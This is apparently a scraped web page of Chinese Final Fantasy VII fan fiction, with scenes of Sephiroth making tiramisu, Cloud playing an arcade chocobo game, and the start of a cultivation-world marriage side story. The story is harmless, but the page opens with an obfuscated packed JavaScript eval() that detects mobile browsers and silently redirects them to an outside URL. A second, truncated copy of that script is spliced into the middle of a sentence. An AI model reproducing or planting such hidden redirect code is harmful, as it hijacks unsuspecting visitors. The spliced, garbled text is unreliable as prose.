;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617260|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味地,擦过我刚刚舔舐过的下唇,将残留的一点点蛋液抹去。 “还行吧。” 我嘟囔了一句。 他为什么还不把手移开? 萨菲罗斯一眨不眨的盯着我的唇看。 他的目光,像是带着实质的温度,在我唇上描摹。 “萨菲罗斯,你也想吃的话,你可以偷吃的,我允许你尝一点。” “……” 银发男人收回了手,他的眸子里闪过了什么,随后,转身拿起放在一旁的干净毛巾,慢条斯理地擦拭着刚才沾染了蛋液的手指。 “不了,我对这样的‘食物’不感兴趣。” “不吃拉倒。” 我从操作台上跳下来。 他就继续装吧!那个眼神一看就是想吃的。 萨菲罗斯继续有条不紊的动作起来,我也看不懂他现在在干什么,突然想到了什么,伸出手戳了戳他的手臂。 “说起来,你做的这个提拉米苏,能不能多加点那个……手指饼干?我喜欢吃脆脆的。” 他的动作因为我的触碰而有了一个极细微的停顿,但很快恢复如常。他没有看我,目光依旧专注在手中的筛网上。 “手指饼干的用量,需要根据最终成品的层次感和口感平衡来决定。过多的饼干层,会破坏提拉米苏应有的湿润与轻盈。” “哎呀,规矩那么多干嘛!” 我不满地嘟囔。 “好吃不就行了?我跟你说,上次我在米德加吃的那个,手指饼干就太少了,吃起来一点都不过瘾。” 面粉终于筛选完毕,盆里积了薄薄的一层细腻的白色粉末。萨菲罗斯将筛网和棉布放到一边,然后将目光投向了一罐装着咖啡豆的密封罐。 “米德加的甜点师,想必没有考虑到你这位‘未来盖亚皇帝’独特的味觉偏好。” 他拿起咖啡豆罐,打开盖子,一股浓郁的烘焙咖啡香气立刻弥漫开来。 “那是自然!”我得意地扬起下巴,“我的口味,可是引领未来潮流的!等我当上盖亚皇帝,第一件事就是颁布法令,所有提拉米苏里的手指饼干都必须加倍!” 萨菲罗斯似乎被我的豪言壮语逗乐了,他抿唇轻笑一声。 “在你的‘帝国’里,民众的蛀牙率想必会直线飙升。” “那有什么关系!” 我毫不在意地摆摆手。 “到时候我再发明一种能瞬间治好蛀牙的魔法药水,或者直接让所有牙医都给我免费打工!问题不就解决了?” “呵。” 萨菲罗斯发出一声极轻的笑声,那笑声里带着几分无奈,几分好笑,还有几分……我听不真切的复杂情绪。 不知过了多久,我都感觉自己要睡着了。 外界已经是深夜。 “好了。” 萨菲罗斯的声音打破了厨房内的宁静,他将手中的小筛子放到一边,那双刚刚还沾染着可可粉的、骨节分明的手指,此刻已经擦拭得干干净净。 提拉米苏表面覆盖着一层厚厚的、细腻均匀的可可粉,深棕色的粉末如同天鹅绒般散发着醇厚而微苦的香气。 我一个激灵,瞬间从昏昏欲睡的状态中清醒过来,眼睛噌地一下亮了起来,像是看到了什么绝世珍宝。 也顾不上还坐在高脚凳上,直接一个饿虎扑食般地窜了过去,差点把凳子都带倒。 “哇——!” “看起来……好像真的很好吃的样子!” 我咽了口口水,眼睛一眨不眨地盯着那块提拉米苏,感觉口水已经开始泛滥了。 萨菲罗斯不知何时已经拿来了两个小碟子和两把银亮的小勺子。 他用一把宽刃的金属铲,精准地从玻璃容器中切下一块方方正正的提拉米苏,那层次分明的侧面展露无遗,雪凝乳奶油细腻得没有一丝气孔,手指饼干湿润饱满,可可粉均匀地覆盖在顶层。 我接过小勺子,也顾不上什么“皇帝的仪态”了,直接挖了一大勺,满满当当,几乎要从勺子边缘溢出来。 可可粉的微苦首先在舌尖弥漫开来,紧接着是雪凝乳奶油那冰凉、丝滑、如同云朵般轻盈的触感,它几乎不需要咀嚼就在口中融化开来,释放出浓郁的乳香和恰到好处的甜味,丝毫不会腻人。 随后,浸透了浓缩咖啡液的手指饼干带来了湿润而富有弹性的口感,咖啡的醇厚苦涩与雪凝乳的甜□□香相互交织、碰撞,形成一种绝妙的味觉平衡。 那一丝若有若无的酒香则如同点睛之笔,悄然提升了整体风味的层次感,在舌根处留下悠长而复杂的回味。 “唔——!!” 我风卷残云般地解决掉碟子里的第一块,意犹未尽地舔了舔勺子,然后眼巴巴地看着萨菲罗斯。 萨菲罗斯并没有动他自己面前的那一小块,他只是安静地看着我,那眼神专注得有些过分。 “如何?”他终于开口,声音低沉而平缓,“符合你那‘引领未来潮流’的口味标准吗?” “何止是符合!” 我猛点头,嘴角还沾着一点可可粉。 “简直是超标准发挥!萨菲罗斯,你太厉害了!这个提拉米苏,绝对是我这辈子吃过最好吃的!” 我不等他回答,又眼疾手快地从玻璃容器里挖了一大块,放到自己的碟子里,吧唧吧唧的继续吃。 “太神奇了……” 萨菲罗斯拿起他面前那份丝毫未动的提拉米苏,用小勺子轻轻切下一角,却没有立刻送入口中。 他抬起眼看向我。 “你脸上此刻因为满足而毫不掩饰的表情,比这甜点本身,更称得上‘神奇’一些。” “我的表情怎么了?” 我下意识地摸了摸自己的脸。 “喂!我这是发自内心的赞美好不好!你不吃吗?凉了就不好吃了。” “我对这类食物的兴趣,远不如你浓厚。” 萨菲罗斯淡淡地说道,但他还是将那一小块提拉米苏送入了口中。 他细细品尝着,动作优雅得像是在鉴赏一件艺术品,那张俊美无俦的脸上看不出太多的情绪波动,只有那微微挑起的眉梢,泄露了他对这味道并非全然无动于衷。 “不过,”他咽下口中的甜点,放下勺子,语气里带着一丝不易察使的玩味,“这‘雪凝乳’带来的微酸,确实为整体风味增添了几分独特的层次。比我想象中,要好一些。” “那是当然!也不看看是谁找来的材料!” 我得意地挺了挺胸脯,又往嘴里塞了一大口提拉米苏。 “怎么样,萨菲罗斯,以后你就专门负责给我做甜点吧!等我当上盖亚皇帝,就封你为御用甜点大总管!” 萨菲罗斯闻言,那双碧绿的眼眸中露出一抹好笑的神色:“你的‘帝国’,听起来更像是一个以甜食为最高信仰的国度。” “有什么不好?” 我理直气壮地反驳。 “能让所有人都开开心心吃甜点,那才是最伟大的皇帝!而且,甜点只是其中一项嘛!以后我的帝国还要有最好看的衣服,最好玩的游戏,最舒服的床……” 我掰着手指头畅想着。 他安静地听着我的宏伟蓝图,手指无意识地在盛着提拉米苏的小碟边缘轻轻敲击着,发出细微的声响。 “听起来,是一个相当……‘鲜活’的帝国。” 萨菲罗斯终于开口,声音里带着一种难以捉摸的意味。 “只是,通往你那‘帝国’的道路,恐怕并不会像制作这甜点一般,只需要精确的控制和耐心的等待。” “我知道啊。” 我把最后一口提拉米苏咽下去,满足地舔了舔嘴唇。 “路上的绊脚石,我会全部踢开的。不管是神罗,还是别的什么东西。” 我顿了顿,看向他。 “当然,也包括你,萨菲罗斯。等我把你复活之后。” 我吃完自己的后,快速的从他的盘子里切走一半。 银发的男人安静的看着我。 一眨不眨。 —————— ————— ———— ——— —— — 第四卷·上——完。 — —— ——— ———— ————— —————— 那抹瑰丽的眸子里倒映着她。 “我等待着那一天。” 70.第65章 陆行鸟天堂。 第五区的电玩城。 各种街机发出的激昂音乐、子弹呼啸、爆炸轰鸣以及角色们夸张的叫喊声,混杂着玩家们的呼喝与尖叫。 她简直就要把脸埋进机器里了,手指在摇杆和按键上化作一片残影,发出噼里啪啦的密集敲击声。 克劳德站在她身后半步的位置,双臂抱在胸前,那身略显陈旧的深蓝色雇佣兵制服与周围五光十色的环境格格不入。 他微微蹙着眉,倔强的金发在迷离的灯光下也显得有些黯淡。 ……明明说要去接任务的。 冰箱早就空了。 “克劳德!你看我这一波——” 还在思考着扎克斯走后的食物储存的金发青年回过神,将视线落在街机的屏幕上。 《陆行鸟大进击EX》 屏幕里,一只像素的白色陆行鸟正叼着一把小匕首,以夸张的姿势上蹿下跳,在屏幕上一个灵巧的翻滚,躲开了一连串密集的绿色光弹,然后反手一记匕首投掷,精准地命中了屏幕边缘出现的一只巨大仙人掌怪的脑门。 仙人掌怪哀嚎一声,化作一堆像素碎片消失了。 “耶!” 她兴奋地叫了一声,身体随着陆行鸟的动作微微晃动,银色的发丝因为她剧烈的动作有几缕从兜帽边缘滑落出来,贴在汗湿的额角。 “关于晚饭…” 女人随手扯了扯歪斜的兜帽,回过头。 “陆行鸟,你玩不玩?” 金发的万能工皱着眉。 下一秒,他就被扯到了一旁的座位上。 那双在五光十色灯光下显得有些晦暗的浅青色眼眸,倒映着面前那块巨大屏幕上跳动的像素。 两只卡通风格的陆行鸟,一只正是对方刚才操作的、叼着小匕首的白色战斗鸡,此刻正耀武扬威地在屏幕左侧蹦跶;而屏幕右侧,多了一只全新的角色—— 一只毛色金黄,嘴里叼着一把同样是像素构成、但明显比匕首要大上一圈的长剑的陆行鸟,正有些傻乎乎地原地踏步。 “愣着干嘛,克劳德!快看快看!这可是我新解锁的隐藏角色,‘皇家骑士陆行鸟’!帅不帅?!” 好……幼稚。 克劳德张了张嘴,想说些关于任务和食材的事情,但话到了嘴边,又被对方下一句话给堵了回去。 他最终还是僵硬地点点头,手指无意识地握紧了身前的操作杆。 “这个金色的可厉害了!你看它那把剑,攻击力超高的!不过呢,它的敏捷度比我的小白要差一点点,所以等下你要注意走位!” 她完全没注意到克劳德的欲言又止,自顾自地开始传授“游戏秘籍”。 “操作很简单的,这个摇杆控制方向,这几个大按钮是攻击、跳跃、还有特殊技能!特殊技能要等能量条满了才能放,还有……” 一堆陌生的名词。 她说完,根本不给克劳德反应的时间,直接在自己的操作台上一拍:“开始游戏!” 画面上出现了两只晃着脑袋的陆行鸟。 伴随着一阵激昂的8-bit音乐,街机屏幕上出现了一段简短的像素动画:一位头戴王冠的陆行鸟公主被一只喷火的卡通巨龙抓走,囚禁在高塔之上。 紧接着,两只身着简陋盔甲的陆行鸟骑士——一白一金。 在国王的嘱托下,踏上了拯救公主的征途。屏幕下方,一行歪歪扭扭的像素字浮现出来: 【为了迎娶公主,两位来自陆行鸟王国的勇士决定一起出发,击败巨龙。】 画面来到了一个像素村庄。 克劳德有些生涩的移动了一下摇杆,屏幕内的金色陆行鸟也小幅度的移动了一下,没等他尝试动弹,一只白色的像素毛球就从一旁的画面窜了过来。 接着,直接把它顶在了头上。 “……” “噗,克劳德,双人模式可以把队友顶起来哎。” “……别笑了。” 克劳德低声咕哝了一句,试图从它的控制下挣脱,他笨拙地晃动着摇杆,屏幕上的金色陆行鸟也跟着扭动了几下,但依旧稳稳地待在白色陆行鸟的头顶,像一个移动的金色王冠。 “放我下来,任务……” “哎呀,任务那种无聊的事情等会儿再说啦!” 她根本没在意他的抗议,反而变本加厉地操控着白色陆行鸟在原地蹦跶了几下,顶着克劳德的金色陆行鸟像是在表演杂技。 “你看,这样是不是很有安全感?我来负责冲锋陷阵,你就在上面给我加油助威!” “……我不是来加油的。” 克劳德终于找到机会,猛地一推摇杆,同时按下了跳跃键。 屏幕上的金色陆行鸟一个踉跄,总算从白色陆行鸟的头顶翻了下来,摔了个四脚朝天,头上还冒出了几个像素构成的问号。 “快起来快起来,前面有小怪了!” 他手忙脚乱地操控着金色陆行鸟从地上爬起来,那把像素构成的长剑也歪歪扭扭地拖在地上。 还没完全适应这奇怪的操作方式,就看到屏幕前方摇摇晃晃地走过来几只绿色的、蘑菇一样的怪物。 屏幕上的白色陆行鸟一个帅气的滑铲,躲开了蘑菇怪喷出的一团紫色毒雾,然后身体像陀螺一样旋转起来,手中的小匕首化作一片银色的光影,瞬间将那几只蘑菇怪切成了像素碎片。 “厉害吧!” 她得意地扬了扬下巴,瞥了一眼旁边依旧有些手足无措的克劳德,发表指令。 “到你了,克劳德,让我看看你的操作。” 克劳德深吸一口气。 屏幕上的金色陆行鸟举起那把巨大的长剑,却因为掌握不好平衡,一个趔趄,长剑没有砍中蘑菇怪,反而重重地砸在了地上,溅起一片像素的尘土。 那只蘑菇怪似乎被这笨拙的攻击逗乐了,原地晃了晃脑袋,头顶冒出一个嘲讽的表情符号。 “陆行鸟你这是什么操作?” “按键!按键!不是让你砸地板!” 她一边说着,一边操控着自己的白色陆行鸟灵活地绕到那只蘑菇怪身后,一记精准的背刺,解决了战斗。 “你看,很简单吧?” 对方拍了拍克劳德的肩膀,语气带着点小得意。 “你得多练练才行啊。不然怎么跟我一起去打败巨龙,迎娶公主呢?我选的可是最高难度。” 克劳德没有说话,只是默默地看着屏幕上那只叼着匕首、神气活现的白色陆行鸟。 又看了看自己那只依旧有些傻乎乎地站在原地的金色陆行鸟。 他感觉自己的脸颊有些发烫,不知道是因为电玩城里闷热的空气,还是因为别的什么。 “……公主,是你吗?” 声音很轻,几乎被周围嘈杂的音乐声淹没。 “嗯?当然不是我啦。” 屏幕里的白色陆行鸟再次将金色的一团顶起,它们一起往前冲。 “我们是勇者啊!” 前方出现了一堆仙人掌小怪。 没等克劳德攻击,他就被白色陆行鸟毫不犹豫地丢了过去。 顶在它头上的金色陆行鸟像个被抛出的石块一样,划过一道歪歪扭扭的抛物线,然后“啪叽”一声,脸先着地摔在了屏幕的另一端,头顶还冒出了一串晕乎乎的小星星。 “……” “克劳德,你先吸引一波仇恨,我开个宝箱。” 他抿了抿唇,晃了晃摇杆,将屏幕上的电子角色唤醒后,有些生涩的打着小怪。 作为前神罗战士,他的反应和适应性很强,单凭操作,足以应付小游戏。 将怪清掉后,克劳德将视线凝聚在了她那边。 那只白色的陆行鸟正顶着一个无辜的npc。 “喂,”克劳德终于忍不住开口,声音在嘈杂的电玩城里显得有些微弱,“那些宝箱,你不开吗?任务提示说,巨龙的鳞片可能在里面。” 她啊了一声。 “我发现顶着npc就无法操作了,你去开宝箱吧。” “……” 金色的陆行鸟换上了新的大剑。 它们一齐来到了新的地图,而白色的陆行鸟依然顶着头上有巨大感叹号的村长陆行鸟。 来到新的地图,此处似乎是沼泽。 当画面上的boss刚刚出现之时,白色陆行鸟就将头顶的npc丢了出去。 boss的仇恨完全被这个无辜的npc吸引了。 克劳德看着屏幕上这离奇的一幕,嘴角忍不住微微抽动了一下。 村长头顶不断冒出代表惊慌的巨大感叹号和一串串乱码般的像素汗珠,样子滑稽又可怜。 “喂,我说,”克劳德的声音艰涩,他努力控制着自己不去吐槽这种清奇的战术,“那个村长NPC,它快要被那只青蛙吃掉了。我们不需要管管吗?” 她操控着白色陆行鸟,趁着青蛙BOSS的注意力完全被可怜的村长吸引,正灵活地绕到BOSS的侧后方,寻找攻击机会。 听到克劳德的话,头也没回,声音里充满了理所当然的得意。 “哎呀,克劳德,你这就叫不懂战术了!” 对方的手指在按键上敲得飞快,屏幕上的白色陆行鸟已经开始对着青蛙BOSS的肥厚大腿发动了一连串迅捷的匕首攻击。 “你看,这叫声东击西,调虎离山!那个村长嘛,作为光荣的诱饵,他正在为我们争取宝贵的输出时间呢!牺牲小我,完成大我,这是多么伟大的奉献精神啊!” 等那只无辜的村长陆行鸟即将要跑出屏幕时,白色陆行鸟又无情的将其顶起,往boss的方向投掷。 “嗯……” “怎么样,我的战术帅吗?” 克劳德嘴角那丝几乎要压抑不住的笑意,在她转过头来的时候迅速收敛,恢复了一贯的冷淡表情。 他操控着屏幕上的金色陆行鸟,用那把新换上的、看起来威力十足的像素大剑,一下又一下地劈砍在青蛙BOSS身上。 “厉害。” 战斗结束。 克劳德已经说得上是熟练的打开宝箱,白色陆行鸟则理所应当的再次顶起村长陆行鸟。 屏幕上的像素世界切换,沼泽地的泥泞被一片冰晶覆盖的雪原取代。 寒风呼啸的音效从街机老旧的扬声器中传出,带着几分失真。巨大的雪怪挥舞着冰柱,笨拙地在雪地上巡逻。 就这样,他们一起从村庄,沼泽,雪原,直到后面的沙漠地图,甚至是魔王城。 克劳德的金色陆行鸟的装备不断换新,而那只白色的陆行鸟—— 始终顶着村长的npc。 她的声音严肃。 “最终boss战,克劳德,血药准备好了吗?” “嗯。” “技能等级都拉满了吧?” “嗯。” “……装备换对了?” “换好了。” 屏幕内的白色陆行鸟跳了跳,村长npc随之摇晃。 “好,咱们走。” 魔王城的色调阴暗压抑,背景音乐也从之前的轻松欢快变得雄壮而紧张。 巨大的像素恶龙盘踞在屏幕中央,猩红的眼睛闪烁着不祥的光芒,每一次呼吸都带起一片像素构成的火焰吐息。 进场的一瞬,白色陆行鸟就把村长投掷了出去,顿时,巨龙的目标锁定。 克劳德熟稔的趁机偷刀。 在之前的游戏中,他们就已经发现剧情npc是无敌的这一点了。 克劳德不知什么时候也完全熟悉了“拿npc吸引注意力”的打法。 “克劳德,就是现在,用你那个‘骑士大回旋’!打它的翅膀根!” 她的声音充满了指挥官的派头,手指在操作台上敲得噼啪作响。 操控的白色陆行鸟则灵活地在巨龙喷吐火焰的间隙中穿梭,时不时用小匕首在巨龙厚实的鳞甲上蹭掉几点微不足道的HP,顺便把快要跑出屏幕的npc顶回来。 克劳德深吸一口气,紧盯着屏幕。 经过前面几关的“特训”,他已经不再是最初那个连路都走不稳的菜鸟了。握紧摇杆,找准时机按下了积攒已久的技能键。 屏幕上,那只金色的“皇家骑士陆行鸟”发出一声嘹亮的啾鸣,周身爆发出耀眼的金色光芒,它叼着的那把巨大的像素长剑开始高速旋转,形成一道肉眼可见的剑刃风暴。 “漂亮!瞄准点。” 她不忘在一旁进行“战术指导”。 金色陆行鸟猛地向前一冲,带着呼啸的剑风撞向巨龙的侧翼。 像素构成的剑刃与同样是像素构成的龙鳞激烈碰撞,爆发出一连串刺目的火花和“锵锵锵”的电子音效。 巨龙庞大的身躯被打得微微一晃,生命条也肉眼可见地掉了一截。 “陆行鸟,看来你还是有点游戏天赋的嘛!比我想象中强多了!” 克劳德没有回应,只是抿了抿唇,专注地操控着金色陆行鸟躲避巨龙的反击。 巨龙因为疼痛而变得更加狂暴,巨大的龙爪胡乱地拍打着,每一次落地都会让屏幕抖动不已。 “小心它的甩尾!那个伤害很高的!” 她提醒道,同时操控着白色陆行鸟敏捷地跳到了一块凸起的岩石上,暂时脱离了战圈。 他全神贯注,额头上渗出了细密的汗珠。 和她一起玩这种看起来很幼稚的游戏,竟然也需要如此高度的集中力。 而且…… 很开心。 战斗持续了很久,村长NPC被白色陆行鸟像沙包一样丢来丢去,数次在被巨龙吞噬的边缘徘徊。 而克劳德的金色陆行鸟,在她时而精准时而脱线的指挥下,也逐渐找到了攻击的节奏。 “克劳德,它要放那个全屏秒杀技了!快!用你那个‘圣光守护’!赶紧的,不然咱们就得从头再来了!” 克劳德闻言,立刻手忙脚乱地在按键上摸索。 之前她确实说过有这么个保命技能,但他一次都没用过。 “哪个是‘圣光守护’?” 他有些茫然地问。 “就是那个金光闪闪的图标啊!你瞎啊!快按!” 她几乎要把脸贴到他的屏幕上替他操作了。 克劳德终于找到了那个按键,猛地按了下去。 屏幕上,金色陆行鸟高高举起长剑,一道柔和而圣洁的金色光柱从天而降,将两只陆行鸟都笼罩在内。 几乎在同时,巨龙张开血盆大口,一道毁灭性的暗红色光束横扫了整个屏幕。 光芒散去,两只陆行鸟安然无恙,还有那个四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……” “哎?要打吗,克劳德。我觉得夫婿应该选村长才对嘛。” “是吧,毕竟村长为我们的旅程付出了这么多……” “要打吗?” 【“要打吗?”】 银发的女人在神罗的顶层,平静的对他歪了歪头。 狂风将她的发吹的猎猎作响。 “你阻止不了我的,你太弱了。” 轮船上。 她咬着蛋糕,对他笑。 “你的伙伴都挺有意思嘛。” 他捏紧了衣角。 “……他们都不是你。” 布满烟尘和火光的金蝶。 血腥弥漫在口腔。 他拼尽全力的抓握。 只要再往前一点,用力的话—— 银发的女人的手在他的额头,她蹲下,与他平视。 “陆行鸟,松开。” 痛。 无法呼吸的痛楚如同无形的巨手,紧紧攫住了他的心脏。 那只手,毫不犹豫地掰开了他紧握的指节。 【“……对不起。”】 为什么要道歉? 为什么? “我,我不会和你打的。” 克劳德低下头,声音沙哑,带着他自己都未曾察觉的颤抖。 他的手指离开了操作杆,无力地垂落在身侧。 屏幕上,那只金色的“皇家骑士陆行鸟”傻乎乎地站在原地,一动不动,与对面那只跃跃欲试的白色战斗鸡形成了鲜明的对比。 “哎?” 她闻言,微微一愣,偏过头好奇地打量着他。 “为什么不打?克劳德,你不会是怕输给我吧?放心啦,我下手会很有分寸的,最多把你打回初始装备,不会让你掉级的。” “……” “怎么?急着做任务?” 克劳德轻轻地摇了摇头。 “没什么。” “只是有点……累了。” 她眨了眨眼,有些可惜,但也站了起来。 “那不玩了吧。” 他比自己想的还要快的—— 抓住了她的手腕。 准备起身的动作被打断,女人微微偏过头,银色的发丝从兜帽边缘滑落几缕,扫过她光洁的额角,莹绿色的眼眸里映出那个金色的身影。 他的影子。 “嗯?” 对方扬了扬下巴,目光落在克劳德紧抓着自己手腕的那只手上,又缓缓移到他那张依旧低垂着的、被金色碎发半遮半掩的脸上。 “怎么了,陆行鸟?” 街机屏幕上的像素公主还在等待着勇士的选择。 克劳德一言不发。 他只是固执地抓着她的手腕,指尖因为用力而有些泛白。 那双浅青色的眼眸依旧低垂着,长长的睫毛在眼睑下方投下一小片阴影,让人看不清他此刻的真实情绪。 “喂,克劳德,”她歪了歪头,另一只手抬起来,轻轻戳了戳克劳德的肩膀,“哑巴了?还是说,你其实想打,但又不好意思说出口?” 她试图抽回自己的手腕,但克劳德抓得很紧。 “我——” 克劳德终于发出了一点声音,沙哑而低沉,几乎被周围的噪音淹没。 “我不是怕输。” 他的头依旧没有抬起来,但声音却比刚才清晰了一些。 “只是,不想和你打。” “不想和我打?” 不想和你战斗。 不想站在你的对立面。 不想让你离开。 “……” “放弃吧。” 一股难以抵抗的力道,将他的手硬生生拉开。 “别再追过来了。” 一切,归于黑暗。 然后,点亮—— 火光,尖叫,死亡,血腥。 银发的男人。 尼布尔海姆的火焰,母亲倒在血泊中的身影。 居高临下的魔晄眸子。 “没有自我的人偶。” “看来,你总是在追寻着一些……不属于你的东西。” --- 贡加加旅馆的夜晚。 克劳德自梦中惊醒,大口大口地喘着气,胸腔剧烈起伏,每一次吸气都像要将肺部的空气抽干。 额头上、后颈处的汗水迅速变凉,黏腻地贴在皮肤上,带来一阵阵令人不适的寒意。 他能清晰地感觉到自己的心跳,如同一只被困在胸腔里的鼓,疯狂地擂动着,震得耳膜嗡嗡作响。 用力地闭上眼睛,又猛地睁开,试图将那些魇魔般的影像驱散。 视野逐渐清晰,映入眼帘的是旅馆房间粗糙的木质天花板,还有旁边木板床上,扎克斯平稳的呼吸声。 “呼——呼——” 克劳德用手背抹去额头的冷汗,指尖触及一片冰凉。 他缓缓坐起身,动作有些僵硬,棉被从肩头滑落。 “……” 克劳德捂着头,一言不发。 71.关于我要跟正道魁首亲友联姻这件事[番外] 修仙pa番外 [1] 我要跟扎克斯结为道侣了。 事情有些复杂,反正正魔之战结束了——作为和平的象征,我,未来的魔界继承人。 被我的杰诺瓦妈要求选一个正道的家伙结契。 虽然在决战期间,但我和对面阵营的扎克斯和无阵营的克劳德关系不错,大概是因为我不想给母亲魔尊打工的原因,我直接化身去正道那边摸了几年鱼,直到结束。 那只能选扎克斯了。 接到信息的时候,他给我传了好几十条传音符。 【“!!!真的吗!!!!!!”】 【“什么时候?不不不,师姐……啊不是……”】 他用一种奇怪的语气叫了我的名字。 【“天啊!我不是在做梦吧?你掐我一下!哦不对,你在魔界掐不到我…那我掐自己一下!嘶——疼!是真的!!”】 【“那个…结、结契大典什么时候举行?需要准备什么聘礼吗?】 【我们宗门的规矩好像挺多的,但我不是很清楚,要去问问师父吗?】 【还是我直接把我的佩剑送给你?那可是安吉尔师兄留给我的!”】 【“——不行不行,佩剑不能送,那是师兄的骄傲与梦想…呃,那我把我攒了好多年的灵石都给你?还有我偷偷藏起来的几坛‘神仙醉’?味道可好了!”】 【“师姐你怎么不回话啊?是不是…是不是后悔了?或者是我太吵了?对不起对不起!我、我这就闭嘴!”】 ……然后安静了不到三息,新一轮的传音符轰炸又开始了。 这是什么值得高兴的事情吗? 之前一起喝酒逛青楼打架的哥们现在要在一起了,扎克斯不觉得有些奇怪吗? 可能正道人士的脑回路就比较清奇吧。 我对着一枚刚飞到眼前的传音符吹了口气,银色的魔气注入其中。 【“要这么麻烦吗?我俩直接用精血随便发誓一下就行了呗。”】 不过片刻功夫,新的传音符便火急火燎地冲了回来,速度比去时快了不止一倍,几乎是撞到了我的鼻尖上才堪堪停住,符纸边缘还微微卷曲发烫。 上面传来了扎克斯略带困惑,但依旧难掩兴奋的声音:【“精血立誓?呃,师姐,这样…这样就可以了吗?”】 他的语气听起来有点小心翼翼,不像之前那样咋咋呼呼了。 【“我、我不是说不行啊!我就是…有点惊讶。我以为结为道侣是很严肃的事情,需要昭告天地,还得有双方长辈见证什么的。】 【我们青云宗这边,结契仪式可复杂了,光是礼单就要准备好几页呢!”】 【“而且我想让整个修仙界都知道世界跟我在一起了!你想,师姐,这是为了我们两界的和平,应该就很正式——”】 我用指尖掐灭了那滔滔不绝地传音符,将魔气输入其中。 【“你想怎么办就怎么办。不过我可提前说好,那些乱七八糟的繁文缛节我可不管,到时候要是让我跪拜天地什么的,我扭头就走。”】 在我心里,只有别人跪我的份。 【“聘礼什么的,你看着给点就行了,别真把你的灵石和好酒都搬空了。我对那些玩意儿不感兴趣。”】 【“你要是实在不知道送什么,就把你那把破剑…呃,安吉尔师兄留下的剑,借我玩几天?”】 【“欸?!!”】传音符那头传来扎克斯惊慌失措的声音,【“不、不行!这个绝对不行!师姐你别打我佩剑的主意啊!!”】 看来这小子还是有点原则的嘛。 【“师姐我给你准备别的!保证让你满意!独一无二的那种!”】 他信誓旦旦地保证道,语气又恢复了之前的亢奋。 【“对了师姐,那我们什么时候开始准备?要不要我先去跟我师父商量一下?”】 【“还有还有,你喜欢什么样式的礼服?红色的?还是我们青云宗的月白色?魔界是不是都喜欢黑色带金边的?”】 传音符又开始新一轮的轰炸,问题一个接一个,简直比我魔宫里的怨魂还要聒噪。 [2] 我的哥哥,萨菲罗斯,最近在闭关。 自从战争结束后,他就把自己关在小房间里了。 不知道他知不知道我要结契这件事。 我将视线从那些烦人的符纸上移开,投向魔宫深处,那个常年被浓郁魔气笼罩的方向。 那是萨菲罗斯闭关的地方——血魔池。 萨菲罗斯,整个魔界公认的第一强者(除了我)。 银发,竖瞳,气质清冷又危险,挥手间便能引动九天魔雷。 他很少跟除我之外的人说话,更少有真实的情绪波动。 大多数时候,他只是静静地待在他的宫殿里,或者是在魔界的极寒之地磨练他的魔刀“正宗”。 对了,在决战之际,他出力最大。 那场决定性的镇杀,他以一己之力对抗正道三位大乘期老祖和数十位合体期修士布下的“九天诛魔阵”。 虽然最终将对方杀得七零八落,但也受了不轻的伤。尤其是最后强行破阵—— 一时之间。 天空,毫无征兆地变成了深沉的血色。 不是晚霞那种绮丽的红,而是粘稠的、散发着不祥气息的暗红,像是被无边无际的鲜血浸透了一般。 无数扭曲的符文在那血色的天幕上疯狂闪烁、炸裂,构成阵法的灵力节点发出不堪重负的哀鸣。 与此同时,在战场上抑或是后方的魔修,甚至是在正道后方偷懒的我,都感受到了那抹锐利又致命的气息。 维持法阵的正道修士们齐齐喷出一口鲜血,不少修为稍弱的合体期修士更是直接从空中栽落,气息瞬间萎靡下去。 那三位须发皆白的大乘期老祖也是脸色煞白,竭力运转灵力试图稳住即将崩溃的法阵,但显然已是强弩之末。 而这一切的始作俑者,萨菲罗斯。 他就悬浮在战场中央。 银色的长发在狂暴的魔气乱流中肆意飞舞,那双非人的竖瞳微微眯起,接着,魔刀收鞘。 刹那间,血色天幕寸寸碎裂,化作漫天光点消散。 恐怖的能量冲击波以萨菲罗斯为中心向四面八方席卷而去,将战场上残存的修士们如同落叶般吹飞。 无数魔修爆发出震天的欢呼,而残余的正道修士则面如死灰,仓皇逃窜。 即使隔着遥远的距离,我也能感受到他强行破阵后气息的一丝紊乱,显然代价不小。 我在后方吃着烧鸭,顺手就传音给他。 【“好装啊,没死吧?”】 战场的中央,那抹专属的神识波动几乎是瞬间就传入了我的脑海。 【“嗯。”】 结果一回去,某人就躺在血魔池里了。 算了,我还是不打扰他疗伤了吧。 [3] 结契的前一天。 凡界,酒馆。 “克劳德,我要跟扎克斯结为道侣了。” 对面那个金发,看似稚嫩的剑修——克劳德,抿酒的动作猛地一顿。 酒液在他唇边停滞了片刻,险些溢出杯沿。 双总是显得有些淡漠疏离的青蓝色眸子,此刻清晰地映出了我的脸,瞳孔似乎微微收缩了一下。 握着粗陶酒杯的手指,也下意识地收紧了,指节泛起淡淡的白色。 周遭酒馆的喧嚣仿佛在这一瞬间被隔绝开来,只剩下我们这一桌微妙的沉默。 他放下酒杯,动作略显生硬。 杯底与粗糙的木质桌面碰撞,发出“叩”的一声轻响。 这声音在嘈杂的环境里并不明显,却足以打破我们之间的沉默。 “你…” 克劳德的声音比平时更低沉沙哑一些,他顿了顿,似乎在组织语言。 “你说的是真的?” “当然是真的。” 我耸耸肩,端起自己的酒杯,仰头灌了一大口。辛辣的酒液滑过喉咙,带来一阵灼热感。 “魔尊下的命令。为了所谓的‘两界和平’,让我从正道那帮傻瓜里挑一个结契。挑来挑去,也就扎克斯那家伙顺眼点,至少一起喝过酒,打过架,不算太陌生。” 